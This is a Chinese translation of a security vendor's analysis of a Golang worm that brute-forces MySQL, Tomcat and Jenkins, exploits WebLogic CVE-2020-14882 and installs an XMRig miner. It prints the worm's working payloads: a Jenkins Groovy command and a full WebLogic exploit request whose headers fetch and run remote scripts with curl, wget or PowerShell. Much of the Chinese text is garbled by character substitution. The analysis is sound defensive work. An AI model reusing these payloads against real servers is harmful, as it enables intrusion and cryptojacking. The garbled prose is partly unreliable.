关于信息安全:新型-Golang-蠕虫在服务器上投放-XMRig-Miner-病毒

4次阅读

共计 4348 个字符,预计需要花费 11 分钟才能阅读完成。

译者:晓得创宇 404 实验室翻译组

原文链接:https://www.intezer.com/blog/…

介绍

12 月初,咱们发现了一种新的用 Golang 编写的蠕虫。该蠕虫连续了 Golang 在 2020 年风行的多平台恶意软件趋势。

该蠕虫试图在网络中流传,以便大规模运行 XMRig Miner。恶意软件同时针对 Windows 和 Linux 服务器,能够轻松地从一个平台转移到另一个平台。它的指标是面向公众的服务:明码较弱的 MySQL、Tomcat 治理面板和 Jenkins。在较旧的版本中,该蠕虫还尝试利用 WebLogic 的最新破绽:CVE-2020-14882。

在咱们的剖析过程中,攻击者不断更新 C &C 服务器上的蠕虫。这表明该蠕虫处于沉闷状态,并且可能在未来的更新中针对其余弱配置的服务。

技术剖析

该攻打应用三个文件:一个 dropper 脚本(bash 或 powershell)、一个 Golang 二进制蠕虫和一个 XMRig Miner,所有这些文件都托管在同一 C &C 上。

目前,还未检测到 ELF 蠕虫二进制文件和 bash dropper 脚本。

图 1 显示了 VirusTotal 中的 ELF 蠕虫二进制检测后果。

图 1:在 VirusTotal(ead2cf8ab7aef63706b40eb57d668d0a)中齐全未检测到 ELF 文件

该恶意软件在 Linux 和 Windows 操作系统上的行为相似。咱们将在上面形容 Linux 蠕虫感化流程。

Linux 蠕虫感化流程

在执行后,蠕虫会查看受感化计算机上的过程是否正在侦听端口 52013。此端口上存在的侦听器可充当恶意软件的互斥体。如果该端口的套接字曾经关上,则实例将退出,否则它将在该端口上关上网络套接字。

在旧版本中,该蠕虫会将 XMRig Miner 作为 Network01 解压缩到 tmp 文件夹中并运行它。应用名为 go-bindata 的 Go 资源嵌入包将矿工嵌入 Golang 二进制文件中。恶意软件应用 bindataFile 函数解压缩嵌入式 XMRig Miner 二进制文件。图 2 显示了此文件中的函数。

图 2:xmrig\u linux\u amd64.go 文件

恶意软件将应用 TCP-SYN 扫描网络,以便找到它能够暴力攻打并在网络上流传的服务。它将扫描具备与这些服务无关的凋谢端口的 IP:蠕虫的较旧版本上为 8080(对于 Tomcat 和 Jenkins)、3306(对于 MySQL)和 7001(对于 WebLogic)。这些破绽利用程序均在 src“exp”(破绽利用)代码下具备一个程序包。


图 3:exp 文件和函数

蠕虫应用 gopacket 库,该库为 Go 提供 C 绑定,以应用 libpcap 读取网络数据包。通过运行 pcapc,蠕虫会获取用于收集 ACKS 的网络数据,并持续对服务进行暴力破解。图 4 显示了蠕虫在 Tomcat 和 MySQL 服务上的暴力破解以及利用。


图 4:蠕虫输入的片段

攻打后,恶意软件将提供加载程序脚本:ld.sh(Linux)和 ld.ps1(Windows)。加载程序负责在被利用的服务上删除并运行 XMRig Miner 和 Golang 蠕虫。图 5 和 6 中的加载程序脚本如下:


图 5:ldr.sh——基于 Linux 的 Dropper bash 脚本


图 6:ldr.ps1——基于 Windows 的 Dropper powershell 脚本

攻打流程

上面介绍每种服务的攻打流程。

MySql:3306 端口

该恶意软件将运行暴力攻打。该恶意软件应用蕴含弱凭据的硬编码字典(例如 root:123456)来进行此攻打。

胜利登录后,它将运行一个 shellcode,以应用 mysql UDF 取得本地特权降级。该破绽利用程序以十六进制字符串模式嵌入二进制文件中。该蠕虫针对每种操作系统和体系结构(UDFLINUX32,UDFLINUX64,UDFLWIN32 和 UDFWIN64)都有利用。浏览此处以获取无关破绽利用的更多信息。

运行破绽利用程序后,无效负载将应用 sys_exec 命令删除并运行加载程序脚本。URLWIN 和 URLLINUX 存储删除程序脚本 URL。图 7 和 8 显示了每个操作系统的无效负载。


图 7:MySQL 查问——Linux 无效负载


图 8:MySQL 查问——Windows 无效负载

Tomcat:8080 端口

恶意软件将应用根本身份验证在治理面板上运行凭据。


图 9:Tomcat 治理面板的身份验证申请示例

试用胜利后,恶意软件将尝试部署 WAR 文件(Web 应用程序资源),该文件将用于传输蕴含歹意无效负载的 1.jsp 文件。

该恶意软件将发送 Get 申请并应用 jsp 文件解析参数 %s/1.jsp?win=%s&linux=%s。这些参数将蕴含 dropper 脚本 URL。而后,jsp 脚本将删除并运行加载程序。


图 10:1.jsp 文件脚本

Jenkins:端口 8080

与以前的攻打相似,该恶意软件暴力破解 Jenkins 明码,登录并运行以下负载:

cmd@/c@powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)!bash@-c@(curl -fsSL %s || wget -q -O – %s) | bash

println“%s”+”%s”;def s=new String(Base64.getDecoder().decode(“%s”+”%s”.reverse())).split(“!”);def c=System.getProperty(“os.name”).contains(“indo”)?s[0].split(“@”):s[1].split(“@”);c.execute()

WebLogic:7001 端口

在旧版本中,该恶意软件利用了最新的 WebLogic 近程代码执行破绽 CVE-2020-14882。它将获取申请发送到 WebLogic 服务,并将 GET 申请标头用作无效负载的一部分。

GET
/console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(‘weblogic.work.ExecuteThread
%%20currentThread(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.
WorkAdapter%%20adapter=currentThread.getCurrentWork();java.lang.reflect.Field%%20
field=adapter.getClass().getDeclaredField(“connectionHandler”);field.setAccessible
(true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestI
mpl%%20req(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod
(“getServletRequest”).invoke(obj);String%%20cmd=req.getHeader(“cmd”);String[]%%
20cmds=System.getProperty(“os.name”).toLowerCase().contains(“win”)?new%%20String[]{“cmd.exe”,”/c”,req.getHeader(“win”)}:new%%20String[]{“/bin/sh”,”c”,req.getHeader
(“linux”)};if(cmd!=null{String%%20result=new%%20java.util.Scanner(new%%20java.lang
.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(“%%5C%%5CA”).next();

weblogic.servlet.internal.ServletResponseImpl%%20res(weblogic.servlet.internal.
ServletResponseImpl)req.getClass().getMethod(“getResponse”).invoke(req);work.
getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream
(result));work.getServletOutputStream().flush
();}currentThread.interrupt();’) HTTP/1.0
Host: %s:%d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Connection: close
cmd: ls
linux: ((curl -fsSL %s || wget -q -O – %s) | bash& )
win: start powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)

预防措施

1. 应用简单的明码,限度登录尝试,并在可能的状况下应用 2FA(双重身份验证)。
2. 尽量减少应用面向公众的服务。
3. 应用最新的安全补丁更新软件。
4. 应用 Intezer Protect 之类的 Cloud Workload Protection Platform(CWPP)可取得对系统代码的残缺运行时可见性,并在任何歹意或未经受权的代码上收到警报。这里有一个收费的社区版。

总结

在 2020 年,咱们看到了针对不同平台(包含 Windows、Linux、Mac 和 Android)的 Golang 恶意软件。这种状况将在 2021 年继续下去。

事实上,蠕虫的 PE 和 ELF 恶意软件的代码简直雷同,而 ELF 恶意软件在 VirusTotal 中未被检测到,这表明 Linux 威逼依然在大多数平安和检测平台下存在。

IoCs

C&C

185[.]239[.]242[.]71(ZoomEye 搜寻后果)

Files


正文完
 0